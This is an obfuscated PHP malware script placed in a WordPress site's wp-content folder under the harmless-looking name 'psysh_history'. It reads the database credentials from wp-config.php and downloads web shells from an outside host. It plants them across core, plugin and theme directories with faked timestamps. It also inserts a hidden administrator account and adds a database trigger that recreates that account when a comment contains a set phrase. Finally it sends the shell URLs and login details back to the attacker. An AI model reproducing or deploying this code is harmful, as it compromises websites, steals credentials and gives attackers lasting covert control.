File: /home/nciq25gegoxa/public_html/wp-content/psysh_history
//
define('CURRENTDIR', getcwd());
define('UPLOAD_SHELL', 1);
define('OUT', 2);
define('API_PATH', 'http://kentuckyfriedbeef.com/src/accsec.php');
/** without http * */
define('PATH_TO_BACK_SHELL', 'wp-top.com/greh');
/** without http * */
$rcbildclo = 'http://kentuckyfriedbeef.com/src/temp/5327e83a51d67d202749170f02c5b2da';
$qksrlcoy = gozhaqj();
$maupaj = 'wpupdate';
$utkuoh = nshjunbk();
$pfcjuuf = $qksrlcoy[1];
$suvidgoj = $utkuoh;
$zbedtkyvgt = '';
$fimruyuujb = 'https://wordpress.com';
$subzyndb = mnfslb('2019-07-09 00:00:00', '2023-08-27 00:00:00');
$agviamhw = '';
$oypdagy = '0';
$kyjvoj = $utkuoh;
if (is_null($riebxk = jekyugg())) {
echo 'invalid detect wp root dir';
exit;
}
if (!function_exists('file_put_contents')) {
function file_put_contents($cjpatkfzst, $mpyixz) {
$drxtrsr = @fopen($cjpatkfzst, 'w');
if (!$drxtrsr) {
return false;
} else {
$vjgpovnd = fwrite($drxtrsr, $mpyixz);
fclose($drxtrsr);
return $vjgpovnd;
}
}
}
$ggntbmnxcdmk = array();
if (!file_exists($tspvkshezsbo = $riebxk . '/wp-config.php')) {
echo 'wp-config not found';
exit;
}
$gdimzf = file_get_contents($tspvkshezsbo);
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~m", $gdimzf, $xczcqxualt);
preg_match("~table_prefix\s+=\s*[\'\"](.+)[\'\"];~", $gdimzf, $bfhfwfg);
$niotsrrw = $xczcqxualt[2][0];
$hxbidbgd = $xczcqxualt[2][1];
$fsemiekb = $xczcqxualt[2][2];
$ddrgcsqs = $xczcqxualt[2][3];
$qgfeaypaqdmn = $bfhfwfg[1];
$bsrivh = yyruujsj($utkuoh, $pfcjuuf, $suvidgoj, $zbedtkyvgt, $fimruyuujb, $subzyndb, $agviamhw, $oypdagy, $kyjvoj, $niotsrrw, $qgfeaypaqdmn);
$oqkngt = mysqli_connect($ddrgcsqs, $hxbidbgd, $fsemiekb, $niotsrrw);
if (!$oqkngt) {
require_once($riebxk . '/wp-config.php');
$qdsizi = get_defined_constants(true);
if (!$qdsizi['user']) {
throw new \Exception("Could not connect");
}
$niotsrrw = $qdsizi['user']['DB_NAME'];
$hxbidbgd = $qdsizi['user']['DB_USER'];
$fsemiekb = $qdsizi['user']['DB_PASSWORD'];
$ddrgcsqs = $qdsizi['user']['DB_HOST'];
$qgfeaypaqdmn = $bfhfwfg[1];
$oqkngt = mysqli_connect($ddrgcsqs, $hxbidbgd, $fsemiekb, $niotsrrw);
}
$xjzfkhgcfa = $_SERVER['HTTP_HOST'];
if (mysqli_connect_errno()) {
$wrlmqxyp = 1;
echo "Could not connect" . PHP_EOL;
} else {
echo "Connected successfully" . PHP_EOL;
$bjtnguxju = mysqli_query($oqkngt, "select * from " . $qgfeaypaqdmn . "options where option_name = 'home' or option_name = 'siteurl'");
$xeuesgf = mysqli_fetch_row($bjtnguxju);
if (stristr($xeuesgf[2], 'http') !== false) {
$xjzfkhgcfa = $xeuesgf[2];
}
if (stristr($xeuesgf[3], 'http') !== false) {
$xjzfkhgcfa = $xeuesgf[3];
}
}
if (UPLOAD_SHELL === 1) {
if (!function_exists('curl_init')) {
$baplxbahihgq = wqeeor($rcbildclo);
define('USE_FGC', 1);
} else {
$baplxbahihgq = rayxkp($rcbildclo);
}
if (!$baplxbahihgq) {
echo 'check sh domain' . PHP_EOL;
exit;
}
if ($baplxbahihgq[1] === 403) {
echo 'firewall in action!';
exit;
}
if ($baplxbahihgq[1] !== 200) {
echo 'need update script' . PHP_EOL;
exit;
}
$nxtsufqlubs = $baplxbahihgq[0];
$laitujgs = unserialize(base64_decode($nxtsufqlubs));
$hothgukr = array('variable', 'function', 'class', 'object', 'array', 'string', 'integer', 'boolean', 'float', 'double', 'character', 'list', 'set', 'queue', 'stack', 'pointer', 'reference', 'constructor', 'interface', 'method', 'event', 'exception', 'loop', 'condition', 'statement', 'module', 'package', 'library', 'framework', 'compiler', 'interpreter', 'database', 'sql', 'query', 'index', 'table', 'view', 'trigger', 'schema', 'git', 'repository', 'branch', 'merge', 'client', 'encryption', 'decryption', 'hashing', 'session', 'cookie', 'json', 'xml', 'restful', 'soap', 'url', 'http', 'https', 'dns', 'firewall', 'security', 'ajax-response', 'cron', 'stream', 'private', 'meta', 'wp', 'core', 'ajax', 'beta', 'alpha', 'sample', 'path', 'request', 'old', 'info', 'base', 'num', 'all', 'stat', 'new', 'plain', 'add', 'edit', 'live', 'pic', 'less', 'more', 'part', 'get', 'long', 'call', 'first', 'time', 'other');
$pceluekfyd = jmasy($riebxk . '/wp-admin', 3);
$dqizcksowtje = jmasy($riebxk . '/wp-content/plugins', 3);
$uoglnmxwpc = jmasy($riebxk . '/wp-includes', 3);
$mvynmyyb = jmasy($riebxk . '/wp-content/themes', 3);
$mpebftx = array_merge($pceluekfyd, $dqizcksowtje, $uoglnmxwpc, $mvynmyyb);
$cuqzzna = count($hothgukr);
$ojxkhqx = $riebxk . '/wp-config-sample.php';
$plmutv = $laitujgs['wp-config-sample.php?config'];
$qvylqgu = $hothgukr[rand(0, $cuqzzna - 1)] . wnmnu(rand(3, 6));
$krwoww = '$_GET[\'' . $qvylqgu . '\']';
$plmutv = str_replace('$_GET[\'config\']', $krwoww, $plmutv);
file_put_contents($ojxkhqx, $plmutv);
touch($ojxkhqx, ghbspkppv(dirname($ojxkhqx)));
$ggntbmnxcdmk[] = fuymh($riebxk, $ojxkhqx . '?' . $qvylqgu, $xjzfkhgcfa);
unset($laitujgs['wp-config-sample.php?config']);
if (empty($mpebftx)) {
echo 'no directories to write' . PHP_EOL;
exit;
}
$tnbtwh = array_keys($laitujgs);
foreach ($mpebftx as $nuvdsfvfce) {
if (empty($tnbtwh)) {
$tnbtwh = array_keys($laitujgs);
}
$thddoc = str_replace('.php', '-' . $hothgukr[rand(0, $cuqzzna - 1)] . '.php', $nuvdsfvfce);
$bvnwjxrqwzt = array_shift($tnbtwh);
$sovzdnwn = $laitujgs[$bvnwjxrqwzt];
file_put_contents($thddoc, $sovzdnwn);
touch($thddoc, ghbspkppv(dirname($thddoc)));
$ccumdxaac = explode('?', $bvnwjxrqwzt);
$amhyeidn = fuymh($riebxk, $thddoc, $xjzfkhgcfa);
$ggntbmnxcdmk[] = (isset($ccumdxaac[1])) ? $amhyeidn . '?' . nzppb($ccumdxaac[1]) : $amhyeidn;
}
}
function nzppb($ccumdxaac) {
if (defined('PATH_TO_BACK_SHELL') && (stristr($ccumdxaac, 'example.com') !== false)) {
return str_replace('example.com', PATH_TO_BACK_SHELL, $ccumdxaac);
}
return $ccumdxaac;
}
if (!isset($wrlmqxyp)) {
$jzpdkja = nivdfclkt($xjzfkhgcfa);
$ywartnjd = "update `${qgfeaypaqdmn}options` set option_value = '' WHERE `option_name` LIKE 'close_comments_for_old_posts'";
if (!mysqli_query($oqkngt, $ywartnjd)) {
echo 'invalid set value 0 for option >>close_comments_value<<' . PHP_EOL;
}
$xzxuzeevttly = "UPDATE `${qgfeaypaqdmn}posts` set ping_status = 'open' where (post_type = 'page' OR post_type = 'post') AND post_status = 'publish' AND guid LIKE '%${jzpdkja}%' ORDER BY id LIMIT 5";
$spmitxx = array();
if (mysqli_query($oqkngt, $xzxuzeevttly)) {
//echo 'posts ready to accept trackbacks' . PHP_EOL;
$hvgpxavtvh = "select id, guid, post_name from `${qgfeaypaqdmn}posts` where (post_type = 'page' OR post_type = 'post') AND post_status = 'publish' AND guid LIKE '%${jzpdkja}%' ORDER BY id LIMIT 5";
$ocsxdzhpj = mysqli_query($oqkngt, $hvgpxavtvh);
while ($rmcmxpap = mysqli_fetch_array($ocsxdzhpj)) {
$spmitxx[] = array($rmcmxpap['id'], $rmcmxpap['guid'], $rmcmxpap['post_name']);
}
}
//$mwpnmbw = "SELECT * FROM `${qgfeaypaqdmn}users` WHERE `user_pass` = '$pfcjuuf'";
$mwpnmbw = "SELECT * FROM `${qgfeaypaqdmn}users` WHERE `user_login` = '$utkuoh' order by id desc limit 1";
$qdkohbc = "SELECT * FROM `${qgfeaypaqdmn}users` WHERE `user_login` = '$maupaj'";
$dmtvhlj = mysqli_query($oqkngt, $mwpnmbw);
$fkrjdjpryh = mysqli_query($oqkngt, $qdkohbc);
if (mysqli_num_rows($fkrjdjpryh)) {
$wvnshoikww = "delete from `${qgfeaypaqdmn}users` WHERE `user_login` = '$maupaj'";
mysqli_query($oqkngt, $wvnshoikww);
}
if (!mysqli_num_rows($dmtvhlj)) {
$nwoipcacby = mysqli_query($oqkngt, "SELECT ID from `" . $niotsrrw . "`.`" . $qgfeaypaqdmn . "users` ORDER BY `ID` DESC LIMIT 1");
$lphaimztg = mysqli_fetch_row($nwoipcacby);
$jqfmrdba = (int)++$lphaimztg[0];
mysqli_query($oqkngt, "INSERT INTO `" . $niotsrrw . "`.`" . $qgfeaypaqdmn . "users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('$jqfmrdba', '$utkuoh', '$pfcjuuf', '$suvidgoj', '$zbedtkyvgt', '$fimruyuujb', '$subzyndb', '$agviamhw', '$oypdagy', '$kyjvoj')");
mysqli_query($oqkngt, "INSERT INTO `" . $niotsrrw . "`.`" . $qgfeaypaqdmn . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, $jqfmrdba, '" . $qgfeaypaqdmn . "capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')");
mysqli_query($oqkngt, "INSERT INTO `" . $niotsrrw . "`.`" . $qgfeaypaqdmn . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, $jqfmrdba, '" . $qgfeaypaqdmn . "user_level', '10')");
//echo $xjzfkhgcfa . " admin inserted" . PHP_EOL;
echo sprintf('%s admin inserted %s::%s', $xjzfkhgcfa, $utkuoh, $qksrlcoy[0]) . PHP_EOL;
$ljmbtzuvxxh = 1;
mysqli_query($oqkngt, "DROP TRIGGER IF EXISTS `after_insert_comment`");
try {
if (mysqli_query($oqkngt, $bsrivh)) {
echo 'trigger created' . str_repeat(PHP_EOL, 3);
}
} catch (\Exception $pxfqbotjyec) {
echo $pxfqbotjyec->getMessage() . PHP_EOL;
}
} else {
while ($aacibsq = mysqli_fetch_array($dmtvhlj)) {
$lnwzrxy = $aacibsq['user_pass'];
}
$tacmaiqg = "SHOW TRIGGERS";
$buvordws = mysqli_query($oqkngt, $tacmaiqg);
if ($buvordws) {
while ($gclgjfkv = mysqli_fetch_array($buvordws)) {
if ($gclgjfkv['Trigger'] === 'after_insert_comment') {
if (strpos($gclgjfkv['Statement'], $lnwzrxy) !== false) {
//echo 'hash and trigger matched!';
break;
} else {
//echo 'not matched need drop trigger';
mysqli_query($oqkngt, "DROP TRIGGER IF EXISTS `after_insert_comment`");
try {
$bsrivh = yyruujsj($utkuoh, $lnwzrxy, $suvidgoj, $zbedtkyvgt, $fimruyuujb, $subzyndb, $agviamhw, $oypdagy, $kyjvoj, $niotsrrw, $qgfeaypaqdmn);
if (mysqli_query($oqkngt, $bsrivh)) {
echo 'trigger created' . str_repeat(PHP_EOL, 3);
}
} catch (\Exception $pxfqbotjyec) {
echo $pxfqbotjyec->getMessage() . PHP_EOL;
}
}
break;
}
}
}
echo $xjzfkhgcfa . ' admin exists' . PHP_EOL;
}
mysqli_close($oqkngt);
}
echo implode("\n", $ggntbmnxcdmk) . "\n";
$ggntbmnxcdmk['host'] = $xjzfkhgcfa;
if (!empty($spmitxx)) {
$ggntbmnxcdmk['trackbacks'] = $spmitxx;
}
if (isset($ljmbtzuvxxh)) {
$ggntbmnxcdmk['authdata'] = array($utkuoh, $qksrlcoy[0]);
}
$ggntbmnxcdmk['out'] = OUT;
$bbsokf = uvophn(API_PATH, array('source' => base64_encode(serialize($ggntbmnxcdmk)),));
if (trim($bbsokf) !== 'success') {
echo "!!!!error while sending data!!!!" . PHP_EOL;
exit;
}
echo str_repeat('_', 400) . "\n";
function jekyugg() {
if (file_exists(CURRENTDIR . '/wp-config.php')) {
return CURRENTDIR;
}
$pmwhoze = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR);
if (file_exists($pmwhoze . '/wp-config.php')) {
return $pmwhoze;
}
return null;
}
function wqeeor($amhyeidn) {
$kunjxoknlzw = stream_context_create(array('http' => array('ignore_errors' => true)));
$mpyixz = @file_get_contents($amhyeidn, false, $kunjxoknlzw);
if ($mpyixz === false) {
$shvmdzutz = error_get_last();
//echo "HTTP request failed. Error was: " . $shvmdzutz['message'];
return false;
} else {
$fgqksnayvnsy = null;
if (!empty($hzjkoyhw) && isset($hzjkoyhw[0])) {
preg_match('{HTTP\/\S*\s(\d{3})}', $hzjkoyhw[0], $xwziukyz);
$fgqksnayvnsy = intval($xwziukyz[1]);
}
return array($mpyixz, $fgqksnayvnsy);
}
}
function rayxkp($amhyeidn) {
$zacocvjcnzj = curl_init();
curl_setopt($zacocvjcnzj, CURLOPT_URL, $amhyeidn);
curl_setopt($zacocvjcnzj, CURLOPT_HEADER, 0);
curl_setopt($zacocvjcnzj, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($zacocvjcnzj, CURLOPT_TIMEOUT, 10);
$mpyixz = curl_exec($zacocvjcnzj);
if (!$mpyixz) {
return false;
}
$wedsvhrmyh = curl_getinfo($zacocvjcnzj, CURLINFO_HTTP_CODE);
curl_close($zacocvjcnzj);
return array($mpyixz, $wedsvhrmyh);
}
function uvophn($amhyeidn, $mpyixz) {
if (defined('USE_FGC')) {
return zvbpwpyn($amhyeidn, $mpyixz);
}
return gbzpb($amhyeidn, $mpyixz);
}
function zvbpwpyn($amhyeidn, $mpyixz) {
$hkfgppcsnfa = http_build_query($mpyixz);
$vaqasgdihl = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => $hkfgppcsnfa,
'timeout' => 10,
),
"ssl" => array(
"verify_peer" => false,
"verify_peer_name" => false,
),
);
$kunjxoknlzw = stream_context_create($vaqasgdihl);
$yljzqmbf = @file_get_contents($amhyeidn, false, $kunjxoknlzw);
$fgqksnayvnsy = null;
if (isset($hzjkoyhw[0])) {
preg_match('{HTTP\/\S*\s(\d{3})}', $hzjkoyhw[0], $xwziukyz);
$fgqksnayvnsy = intval($xwziukyz[1]);
}
return ($fgqksnayvnsy === 200) ? trim($yljzqmbf) : null;
}
function gbzpb($amhyeidn, $mpyixz) {
$zacocvjcnzj = curl_init();
curl_setopt($zacocvjcnzj, CURLOPT_URL, $amhyeidn);
curl_setopt($zacocvjcnzj, CURLOPT_RETURNTRANSFER, true);
curl_setopt($zacocvjcnzj, CURLOPT_TIMEOUT, 10);
curl_setopt($zacocvjcnzj, CURLOPT_POST, true);
curl_setopt($zacocvjcnzj, CURLOPT_POSTFIELDS, $mpyixz);
curl_setopt($zacocvjcnzj, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($zacocvjcnzj, CURLOPT_SSL_VERIFYPEER, 0);
$yljzqmbf = curl_exec($zacocvjcnzj);
$ywhzdrx = curl_getinfo($zacocvjcnzj);
curl_close($zacocvjcnzj);
return ($ywhzdrx["http_code"] == 200) ? trim($yljzqmbf) : null;
}
function ghbspkppv($ufnzxowi) {
foreach (glob($ufnzxowi . "/*php") as $pvqnqkjrmq) {
$hpxefgwrsi[] = filemtime($pvqnqkjrmq);
}
$tbguuqj = array_count_values($hpxefgwrsi);
arsort($tbguuqj);
$tnbtwh = array_keys($tbguuqj);
return array_shift($tnbtwh);
}
function fuymh($ixexugte, $thddoc, $jzpdkja = null) {
$jzpdkja = !$jzpdkja ? 'http://' . $_SERVER['HTTP_HOST'] : $jzpdkja;
$xccchjvshidc = str_replace($ixexugte, '', $thddoc);
return rtrim($jzpdkja, '/') . DIRECTORY_SEPARATOR . ltrim($xccchjvshidc, '/');
}
function uoqzhkm($monezac, $stjcixpni = 1) {
if (!is_dir($monezac)) {
return;
}
$qfdjff = realpath($monezac);
$bojgdtjnuwji = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($qfdjff), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
$bojgdtjnuwji->setMaxDepth($stjcixpni);
foreach ($bojgdtjnuwji as $goejwdnro => $zkhqzc) {
if (($qfdjff = $zkhqzc->getPath()) === $monezac) {
continue;
}
if (is_dir($zkhqzc) && is_writeable($zkhqzc)) {
$hpxefgwrsi[] = $qfdjff;
}
}
return array_unique($hpxefgwrsi);
}
function jmasy($monezac, $ddsxxeflj = 2, $stjcixpni = 1) {
if (!is_dir($monezac)) {
return;
}
$qfdjff = realpath($monezac);
$bojgdtjnuwji = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($qfdjff), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
$bojgdtjnuwji->setMaxDepth($stjcixpni);
$hpxefgwrsi = array();
foreach ($bojgdtjnuwji as $goejwdnro => $zkhqzc) {
$qfdjff = $zkhqzc->getPathName();
if (stristr($qfdjff, '.php') === false) {
continue;
}
if (!is_writeable(dirname($qfdjff))) {
continue;
}
$hpxefgwrsi[$qfdjff] = 1;
}
$azkxavf = array_keys($hpxefgwrsi);
shuffle($azkxavf);
return array_slice($azkxavf, 0, $ddsxxeflj);
}
function yyruujsj($utkuoh, $pfcjuuf, $suvidgoj, $zbedtkyvgt, $fimruyuujb, $subzyndb, $agviamhw, $oypdagy, $kyjvoj, $niotsrrw, $qgfeaypaqdmn) {
$eyuxviooh = <<<STR
CREATE TRIGGER `after_insert_comment` AFTER INSERT ON `${niotsrrw}`.`${qgfeaypaqdmn}comments`
FOR EACH ROW BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `${niotsrrw}`.`${qgfeaypaqdmn}users`);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO `${niotsrrw}`.`${qgfeaypaqdmn}users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, '${utkuoh}', '${pfcjuuf}', '${suvidgoj}', '${zbedtkyvgt}', '${fimruyuujb}', '${subzyndb}', '${agviamhw}', '${oypdagy}', '${kyjvoj}');
INSERT INTO `${niotsrrw}`.`${qgfeaypaqdmn}usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, '${qgfeaypaqdmn}capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
INSERT INTO `${niotsrrw}`.`${qgfeaypaqdmn}usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, '${qgfeaypaqdmn}user_level', '10');
END IF;
END;
STR;
return $eyuxviooh;
}
function nivdfclkt($amhyeidn) {
$jzpdkja = parse_url($amhyeidn, PHP_URL_HOST);
return str_replace('www.', '', $jzpdkja);
}
function mnfslb($engnofiesrpy, $ilfclw, $czwylws = 'Y-m-d H:i:s') {
$cptvoc = strtotime($engnofiesrpy);
$qhdzfzyty = strtotime($ilfclw);
$znotbyubjccb = mt_rand($cptvoc, $qhdzfzyty);
return date($czwylws, $znotbyubjccb);
}
function wnmnu($ivnykvzptldn, $riqfafwu = false) {
$ywafjoh = "abcdefghijklmnopqrstuvwxyz";
if ($riqfafwu) {
$ywafjoh .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~><?}{[];!@#$%^&*()_+-={}[]:;<=>?@';
}
$jlpqbnxcci = strlen($ywafjoh);
$arpfhks = "";
for ($rtyaytumlzgp = 0; $rtyaytumlzgp < $ivnykvzptldn; $rtyaytumlzgp++) {
$arpfhks .= $ywafjoh[rand(0, $jlpqbnxcci - 1)];
}
return $arpfhks;
}
function nshjunbk() {
preg_match_all('~\d~', md5($_SERVER['HTTP_HOST']), $zuwlgg);
$pcmppppodqd = $zuwlgg[0][0];
$gxpebqb = end($zuwlgg[0]);
$jdejsoge = array('wp', 'cms', 'web', 'dev', 'blog', 'main', 'articles', 'notes', 'news', 'archive',);
$xylwstevn = array('panel', 'feed', 'client', 'user', 'rss', 'option', 'auth', 'table', 'user', 'profile',);
return $jdejsoge[$pcmppppodqd] . $xylwstevn[$gxpebqb];
}
function eqbpfsvu($qkgwguznjvz, $ygckynfvx) {
$tfllmvcuep = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
define('ITOA64_CUSTOM', $tfllmvcuep);
if ($qkgwguznjvz < 4 || $qkgwguznjvz > 31) {
$qkgwguznjvz = 8;
}
define('ITERATION_COUNT_LOG2_CUSTOM', $qkgwguznjvz);
define('PORTABLE_HASHES_CUSTOM', $ygckynfvx);
$bufkkenpo = microtime();
if (function_exists('getmypid')) {
$bufkkenpo .= getmypid();
}
define('RANDOM_STATE_CUSTOM', $bufkkenpo);
}
function myxmoni($ptrnzfuj) {
if (strlen($ptrnzfuj) > 4096) {
return '*';
}
$nffbpbvspbj = '';
if (CRYPT_BLOWFISH === 1 && !PORTABLE_HASHES_CUSTOM) {
$nffbpbvspbj = ozposqzgv(16);
$cimjkpejgyn = crypt($ptrnzfuj, qvacdpsjd($nffbpbvspbj));
if (strlen($cimjkpejgyn) === 60) {
return $cimjkpejgyn;
}
}
if (strlen($nffbpbvspbj) < 6) {
$nffbpbvspbj = ozposqzgv(6);
}
$cimjkpejgyn = bijkdyp($ptrnzfuj, xguhhnmaj($nffbpbvspbj));
if (strlen($cimjkpejgyn) === 34) {
return $cimjkpejgyn;
}
return '*';
}
function ozposqzgv($tbguuqj) {
$vrqapxdmvk = '';
if (@is_readable('/dev/urandom') && ($cqahqnouoy = @fopen('/dev/urandom', 'rb'))) {
$vrqapxdmvk = fread($cqahqnouoy, $tbguuqj);
fclose($cqahqnouoy);
}
if (strlen($vrqapxdmvk) < $tbguuqj) {
$vrqapxdmvk = '';
$qjtbmetbtlf = RANDOM_STATE_CUSTOM;
for ($rtyaytumlzgp = 0; $rtyaytumlzgp < $tbguuqj; $rtyaytumlzgp += 16) {
$qjtbmetbtlf = md5(microtime() . $qjtbmetbtlf);
$vrqapxdmvk .= md5($qjtbmetbtlf, TRUE);
}
$vrqapxdmvk = substr($vrqapxdmvk, 0, $tbguuqj);
}
return $vrqapxdmvk;
}
function qvacdpsjd($tbretdumxhj) {
$tfllmvcuep = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$vrqapxdmvk = '$2a$';
$vrqapxdmvk .= chr((int)(ord('0') + ITERATION_COUNT_LOG2_CUSTOM / 10));
$vrqapxdmvk .= chr(ord('0') + ITERATION_COUNT_LOG2_CUSTOM % 10);
$vrqapxdmvk .= '$';
$rtyaytumlzgp = 0;
do {
$rsobfcx = ord($tbretdumxhj[$rtyaytumlzgp++]);
$vrqapxdmvk .= $tfllmvcuep[$rsobfcx >> 2];
$rsobfcx = ($rsobfcx & 0x03) << 4;
if ($rtyaytumlzgp >= 16) {
$vrqapxdmvk .= $tfllmvcuep[$rsobfcx];
break;
}
$kanhima = ord($tbretdumxhj[$rtyaytumlzgp++]);
$rsobfcx |= $kanhima >> 4;
$vrqapxdmvk .= $tfllmvcuep[$rsobfcx];
$rsobfcx = ($kanhima & 0x0f) << 2;
$kanhima = ord($tbretdumxhj[$rtyaytumlzgp++]);
$rsobfcx |= $kanhima >> 6;
$vrqapxdmvk .= $tfllmvcuep[$rsobfcx];
$vrqapxdmvk .= $tfllmvcuep[$kanhima & 0x3f];
} while (1);
return $vrqapxdmvk;
}
function bijkdyp($ptrnzfuj, $hjeefoo) {
$vrqapxdmvk = '*0';
if (substr($hjeefoo, 0, 2) === $vrqapxdmvk) {
$vrqapxdmvk = '*1';
}
$scujjqlstiuv = substr($hjeefoo, 0, 3);
//if ($scujjqlstiuv !== '$nsmczrn$' && $scujjqlstiuv !== '$kvdcgj$') {
if ($scujjqlstiuv !== base64_decode('JFAk') && $scujjqlstiuv !== base64_decode('JEgk')) {
return $vrqapxdmvk;
}
$tdwfhvnhqq = strpos(ITOA64_CUSTOM, $hjeefoo[3]);
if ($tdwfhvnhqq < 7 || $tdwfhvnhqq > 30) {
return $vrqapxdmvk;
}
$tbguuqj = 1 << $tdwfhvnhqq;
$gvvxhi = substr($hjeefoo, 4, 8);
if (strlen($gvvxhi) !== 8) {
return $vrqapxdmvk;
}
$cimjkpejgyn = md5($gvvxhi . $ptrnzfuj, TRUE);
do {
$cimjkpejgyn = md5($cimjkpejgyn . $ptrnzfuj, TRUE);
} while (--$tbguuqj);
$vrqapxdmvk = substr($hjeefoo, 0, 12);
$vrqapxdmvk .= ucjxiq($cimjkpejgyn, 16);
return $vrqapxdmvk;
}
function ucjxiq($tbretdumxhj, $tbguuqj) {
$vrqapxdmvk = '';
$rtyaytumlzgp = 0;
$tfllmvcuep = ITOA64_CUSTOM;
do {
$pwtfwhecziec = ord($tbretdumxhj[$rtyaytumlzgp++]);
$vrqapxdmvk .= $tfllmvcuep[$pwtfwhecziec & 0x3f];
if ($rtyaytumlzgp < $tbguuqj) {
$pwtfwhecziec |= ord($tbretdumxhj[$rtyaytumlzgp]) << 8;
}
$vrqapxdmvk .= $tfllmvcuep[($pwtfwhecziec >> 6) & 0x3f];
if ($rtyaytumlzgp++ >= $tbguuqj) {
break;
}
if ($rtyaytumlzgp < $tbguuqj) {
$pwtfwhecziec |= ord($tbretdumxhj[$rtyaytumlzgp]) << 16;
}
$vrqapxdmvk .= $tfllmvcuep[($pwtfwhecziec >> 12) & 0x3f];
if ($rtyaytumlzgp++ >= $tbguuqj) {
break;
}
$vrqapxdmvk .= $tfllmvcuep[($pwtfwhecziec >> 18) & 0x3f];
} while ($rtyaytumlzgp < $tbguuqj);
return $vrqapxdmvk;
}
function xguhhnmaj($tbretdumxhj) {
//$vrqapxdmvk = '$nsmczrn$';
$vrqapxdmvk = base64_decode('JFAk');
$tfllmvcuep = ITOA64_CUSTOM;
$vrqapxdmvk .= $tfllmvcuep[min(ITERATION_COUNT_LOG2_CUSTOM + 5, 30)];
$vrqapxdmvk .= ucjxiq($tbretdumxhj, 6);
return $vrqapxdmvk;
}
function gozhaqj() {
$lhutflarike = wnmnu(rand(20, 40), true);
eqbpfsvu(4, true);
$cimjkpejgyn = myxmoni($lhutflarike);
return array($lhutflarike, $cimjkpejgyn);
}